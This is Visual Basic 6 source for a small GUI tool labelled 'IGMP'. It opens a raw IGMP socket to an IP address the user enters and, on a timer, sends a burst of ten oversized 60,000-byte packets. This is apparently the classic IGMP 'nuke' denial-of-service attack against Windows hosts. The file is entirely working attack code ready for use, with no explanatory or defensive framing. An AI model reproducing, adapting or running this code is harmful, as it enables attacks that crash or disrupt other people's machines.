Option Explicit '*******************IGMP************************ Private Type SockAddr sin_family As Integer sin_port As Integer sin_addr As String * 4 sin_zero As String * 8 End Type
Private Type T_WSA wVersion As Integer wHighVersion As Integer szDescription(0 To 255) As Byte szSystemStatus(0 To 128) As Byte iMaxSockets As Integer iMaxUdpDg As Integer lpVendorInfo As Long End Type
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (Dest As Any, Src As Any, ByVal cb&) Private Declare Function inet_addr Lib "wsock32.dll" (ByVal addr As String) As Long Private Declare Function WSAStartup Lib "wsock32.dll" (ByVal a As Long, b As T_WSA) As Long Private Declare Function WSACleanUp Lib "wsock32.dll" Alias "WSACleanup" () As Integer Private Declare Function Socket Lib "wsock32.dll" Alias "socket" (ByVal afinet As Integer, ByVal socktype As Integer, ByVal protocol As Integer) As Long Private Declare Function ConnectWinsock Lib "wsock32.dll" Alias "connect" (ByVal sock As Long, sockstruct As SockAddr, ByVal structlen As Integer) As Integer Private Declare Function send Lib "wsock32.dll" (ByVal sock As Long, ByVal msg As String, ByVal msglen As Long, ByVal flag As Integer) As Long Private Declare Function htons Lib "wsock32.dll" (ByVal a As Integer) As Integer Private Declare Function closesocket Lib "wsock32.dll" (ByVal sn As Long) As Integer Private sock As Long Private t As Long Private Sub cmd_Go_Click() If t > 0 Then t = 0 Else Dim addr As SockAddr Dim x As Long Dim ip As String Dim y(0 To 3) As Byte ip = "" x = inet_addr(txt_IP.Text) CopyMemory y(0), x, 4 For x = 0 To 3 ip = ip & Chr(y(x)) Next x addr.sin_addr = ip addr.sin_family = 2 addr.sin_port = htons(100) addr.sin_zero = String(8, 0) If ConnectWinsock(sock, addr, Len(addr)) Then MsgBox "connect error" Exit Sub End If t = 10 Set cmd_Go.Picture = Image1.Picture Timer1.Enabled = True End If End Sub Private Sub Form_Load() Dim WSAData As T_WSA Set cmd_Go.Picture = Image2.Picture WSAStartup 514, WSAData sock = Socket(2, 3, 2) If sock < 0 Then MsgBox "winsock error" Unload Me End If t = 0 End Sub Private Sub Form_Unload(Cancel As Integer) closesocket sock WSACleanUp End Sub
Private Sub Timer1_Timer() If t Then send sock, String(60000, "0"), 60000, 0 t = t - 1 Else Timer1.Enabled = False Set cmd_Go.Picture = Image2.Picture End If End Sub

|